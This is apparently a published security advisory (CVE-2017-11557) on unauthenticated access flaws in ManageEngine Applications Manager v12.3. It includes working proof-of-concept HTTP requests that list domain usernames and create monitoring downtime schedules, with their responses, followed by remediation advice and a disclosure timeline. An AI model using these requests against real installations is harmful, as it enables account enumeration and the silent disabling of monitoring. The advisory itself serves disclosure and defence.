Trustwave SpiderLabs Security Advisory TWSL2017-013:
Multiple Authentication Bypass Vulnerabilities in ManageEngine Applications Manager 

Published: 07/26/2017
Version: 1.0

Vendor: ManageEngine (https://www.manageengine.com/)
Product: Applications Manager
Version affected: v12.3 (Build No:12300)

Product description:
ManageEngine Applications Manager is an availability and performance monitoring 
software that helps businesses ensure high availability and performance for 
their business applications by ensuring servers and applications have high 
uptime. The application performance management capability includes server 
monitoring, application server monitoring, database monitoring, web services 
monitoring and an array of other application management capability that will 
help IT administrators manage their resources.

Finding: Multiple Authentication Bypass
Credit: Elvin Hayes Gentiles of Trustwave SpiderLabs
CVE: CVE-2017-11557

Authentication Bypass #1:
It is possible for an unauthenticated user to view the list of domain names and 
usernames used in a company’s network environment by visiting the link: 
http://<host:port>/userconfiguration.do?method=editUser. This will help an 
attacker to speed up the bruteforcing process.

PoC:
HTTP Request:
GET /userconfiguration.do?method=editUser HTTP/1.1
Host: 10.10.0.38:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP Response:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID_APM_9090=E72F077EE750D8BFBF59299FFA9CCCBE; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 25 Aug 2016 01:40:16 GMT
Connection: close
Content-Length: 96404

...[TRUNCATED]...

<td style="padding:5px 0px 5px 0px;" class='yellowgrayborder'>
<img src=../images/icon_user.gif width="42" height="39" style="position:relative; left:3px;cursor:pointer;" onClick="editUser('10000017', 'GOODWILLSEW.COM\Awinter');"/></td>
<td class='yellowgrayborder'>
<a href="/admin/userconfiguration.do?method=editUser&userid=10000017&username=GOODWILLSEW.COM\Awinter" class="resourcename"> GOODWILLSEW.COM\Awinter</a>
</td>

...[TRUNCATED]..


Authentication Bypass #2:
It is possible for an unauthenticated user to create/modify/delete a downtime/maintenance schedule using the Downtime Schedule located here: http://<host:port>/downTimeScheduler.do?method=viewMaintenanceTask&readonly=false. As per the vendor’s description, “Downtime scheduler provides you an option to schedule a time period for which monitoring is not needed.”

PoC #1 (Accessing the Downtime Scheduler page with a valid session ID):
HTTP Request:
GET /downTimeScheduler.do?method=viewMaintenanceTask&readonly=false HTTP/1.1
Host: 10.10.0.38:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP Response:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID_APM_9090=897DB476908560F84DB2B728284382D7; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Thu, 25 Aug 2016 01:53:26 GMT
Connection: close
Content-Length: 123531


PoC #2 (Successful creation of the downtime schedule):
HTTP Request:
POST /downTimeScheduler.do HTTP/1.1
Host: 10.10.0.38:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.0.38:9090/downTimeScheduler.do?method=viewMaintenanceTask&readonly=false
Cookie: JSESSIONID_APM_9090=897DB476908560F84DB2B728284382D7
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 953

method=createMaintenanceTask&customTaskServeTime=201608242053&taskName=SpiderLabs&taskDescription=Pentest&taskStatus=enable&taskMethod=daily&timezone=Asia%2FManila&taskStartTime=3%3A00&taskEndTime=4%3A00&taskEffectFrom=2016-08-25+9%3A53&numbers=1&taskCount=&startDay%280%29=1&startTime%280%29=&endDay%280%29=1&endTime%280%29=&startDay%281%29=1&startTime%281%29=&endDay%281%29=1&endTime%281%29=&startDay%282%29=1&startTime%282%29=&endDay%282%29=1&endTime%282%29=&startDay%283%29=1&startTime%283%29=&endDay%283%29=1&endTime%283%29=&startDay%284%29=1&startTime%284%29=&endDay%284%29=1&endTime%284%29=&startDay%285%29=1&startTime%285%29=&endDay%285%29=1&endTime%285%29=&startDay%286%29=1&startTime%286%29=&endDay%286%29=1&endTime%286%29=&customTaskStartTime=2016-08-24+20%3A53&customTaskEndTime=2016-08-24+20%3A53&taskGroup=allmonitors&searchByName=&maintenanceCombo1=10000070&maintenanceCombo1=10000072&maintenanceCombo1=10000023&maintenanceCombo2=10000071

HTTP Response:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.10.0.38:9090/downTimeScheduler.do?method=maintenanceTaskListView&tabtoLoad=downtimeSchedulersDiv
Content-Type: text/html;charset=ISO-8859-1
Vary: Accept-Encoding
Date: Thu, 25 Aug 2016 01:58:06 GMT
Connection: close
Content-Length: 283

<html><body><p>Redirecting to <a href="http://10.10.0.38:9090/downTimeScheduler.do?method=maintenanceTaskListView&amp;tabtoLoad=downtimeSchedulersDiv">http://10.10.0.38:9090/downTimeScheduler.do?method=maintenanceTaskListView&amp;tabtoLoad=downtimeSchedulersDiv</a></p></body></html>


Remediation Steps:
No official patch is available.  To limit exposure, network access to the 
application manager should be limited to authorized personnel through the use 
of Access Control Lists and proper network segmentation.


Revision History:
02/08/2017 - Vulnerability disclosed to vendor
04/12/2017 - Vendor provides expected patch date to Q2
07/10/2017 - Requested update from vendor (no fix available)
07/26/2017 - Advisory published


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.